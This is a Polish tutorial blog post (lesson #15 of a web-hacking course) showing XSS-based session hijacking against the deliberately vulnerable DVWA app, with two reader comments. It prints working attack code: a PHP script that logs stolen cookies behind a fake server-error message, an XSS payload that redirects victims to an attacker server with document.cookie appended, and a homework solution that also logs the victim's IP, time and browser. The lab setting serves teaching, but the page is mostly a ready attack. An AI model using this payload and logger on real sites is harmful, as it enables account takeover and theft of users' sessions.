WEP lekcja #15 – Atak XSS i kradzież cookies, czyli session hijacking w praktyce

Dzisiaj zademonstrujemy Tobie atak XSS połączony z kradzieżą ciasteczek (session hijacking).  Umożliwi on Tobie przećwiczenie umiejętności przejmowania konta internetowego niczym zły haker bez znajomości hasła. Jeden z poprzednich filmów nr. #6 wykorzystujący program automatyzujący Cookie Cadger cieszył się większym zainteresowaniem niż reszta więc i dziś powinieneś być i Ty zadowolony.

W wideo pokazujemy sposób na stworzenie bardzo prostego sniffera PHP, który umożliwi z pomocą prostych instrukcji przekierowania JavaScript przejęcie ciasteczka sesyjnego phpsessid skryptu DVWA. Poznasz również właściwość document.cookie języka JS.

Film szkoleniowy o ataku session hijacking z XSS

Poniższy film obrazuje w jaki sposób cyberprzestępca w praktyce wykorzystuje odnalezioną podatność cross-site scripting na stronie internetowej. W lekcji królują podstawy JavaScript, PHP i dodatkowo plik access.log.

Skrypt document.cookie i sniffera PHP

Poniżej znajdują się polecenie i skrypty zademonstrowane w filmie #15 Atak XSS i kradzież cookies, czyli session hijacking w praktyce.

Kod pliku skrypt.php umieszczonego na zewnętrznym serwerze. W naszym przypadku umieściliśmy go w systemie Kali Linux w folderze /var/www/html:

<?php
$ciastko = "\n".$_GET['ciastko'];

$uchwyt = fopen ('logi.txt', "a");
fwrite($uchwyt, $ciastko);
fclose($uchwyt);
echo('CHWILOWY BLAD SERWERA! Sprobuj za 120 minut ponownie!');
?>

Jeśli chcesz uruchomić wbudowany serwer HTTP w Kali Linux, wydaj następujące polecenie:

service apache2 start

Uwaga! Nie kopiuj bezrozumnie i spróbuj zrozumieć kod we własnym zakresie. Żeby nie spowodować pewnych komplikacji utwórz w tym samym folderze plik logi.txt i nadaj mu prawa do zapisu i odczytu (najlepiej chmod 777). W systemie Microsoft Windows nie musiałbyś robić takiej operacji praw dostępu.


W celu przechwycenia wszystkich ciasteczek witryny z wykorzystaniem luki typu XSS, musisz przekazać do tego skryptu za pomocą metody GET i parametru ciastko wartość właściwości document.cookie języka JavaScript. Możesz to zrobić w następujący sposób zaprezentowany na filmie:

<script>window.location.href = 'http://192.168.0.19/skrypt.php?ciastko='+document.cookie</script>

Powyższa linijka kodu jest to zwykły język JavaScript przenoszący użytkownika pod adres złośliwego serwera cyberprzestępcy. Zwróć uwagę na doklejaną wartość w parametrze GET. Teraz wystarczy że po prostu te dane wprowadzić do swojej przeglądarki tak jak demonstrowaliśmy w poprzednich lekcjach i ją odświeżysz. Jesteś właśnie prawdopodobnie zalogowany. 🙂

Wykradanie sesji wraz z ciasteczkami (session hijacking) z wykorzystaniem luki XSS i cookies.
Przechwycone ciastka sesyjne za pomocą naszego sniffera PHP. Tego typu atak często jest określany mianem session hijacking.

Materiały dodatkowe na temat kradzieży ciasteczek

Jeżeli nie do końca rozumiesz tego idei ataku lub chcesz się dowiedzieć o obejściach tzn. XSS bypass zapoznaj się z następującymi materiałami:

Praca domowa

-> Zadanie 1

Spróbuj ulepszyć swój skrypt.php z dzisiejszej lekcji i dodaj do niego godzinę przejęciaadres IP osoby i nazwę przeglądarki (do każdego przejętego ciastka).

Podpowiedź do zadania nr 1 - jeśli nie dajesz rady to spójrz!
Dwie proste podpowiedzi czego szukać.

  • szukaj w internecie informacji na temat funkcji date() i time() w języku PHP,
  • skorzystaj ze specjalnej zmiennej języka PHP $_SERVER i jej wartości HTTP_USER_AGENTREMOTE_ADDR.


Uwaga! Rozwiązanie 1. Nie psuj sobie zabawy!

Przykładowa modyfikacja kodu dodająca bieżącą godzinę wraz z datą, User-Agent przeglądarki internetowej i adres IP:

<?php
$godzina = date("Y-m-d H:i:s");
$przegladarka = $_SERVER['HTTP_USER_AGENT'];
$adresIP = $_SERVER['REMOTE_ADDR'];
$ciastko = "\n".$adresIP." [".$godzina.'] - '.$_GET['ciastko'].' - '.$przegladarka;

$uchwyt = fopen ('logi.txt', "a");
fwrite($uchwyt, $ciastko);
fclose($uchwyt);
echo('CHWILOWY BLAD SERWERA! Sprobuj za 120 minut ponownie!');
?>

Podsumowanie o atakach cross-site scripting i cookies

Praktycznie zmierzamy już do końca tematyki ataków cross-site scripting. Jak widzisz dzięki zdalnej kradzieży ciasteczek cracker mógłby przejąć konto użytkownika bez znajomości jego hasła. Powodzenie ataku zależy oczywiście od istnienia podatności typu XSS (obojętnie czy to jest stored XSS lub reflected XSS). Czy luki XSS występują? Oczywiście! I to nawet wśród największych serwisów internetowych na świecie takich jak Facebook. Uspokoję Ciebie, tamte znane już luki zostały załatane. W następnej lekcji zaprezentujemy aplikacje BOMBĘ do ataków XSS umożliwiającą kilkoma kliknięciami myszy wykonać to co do tej pory poznałeś i o wiele, wiele więcej.  Powodzenia w pracy domowej! 😉

3 thoughts to “WEP lekcja #15 – Atak XSS i kradzież cookies, czyli session hijacking w praktyce”

  1. Używasz kali na vmware ? Ja zainstalowałem kali na vmware i zauwazyłem ze system nie działa płynnie mimo że komputer mam bardzo dobry.

  2. http://www.facebook.pl resolved to 185.60.216.35
    HTTP/1.1 302 Found X-FB-Debug: tEY4JNz+Op9yEeC6UJFnRaARY98fg9n/egeZ623bnlWalzouDI3CWHcSl5h4hzgoxDkZ3P9Wk0kpGkPJoC96aQ==
    moje pytanie hmm lamerskie trochę czy x-fb-debug to ciastka?

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *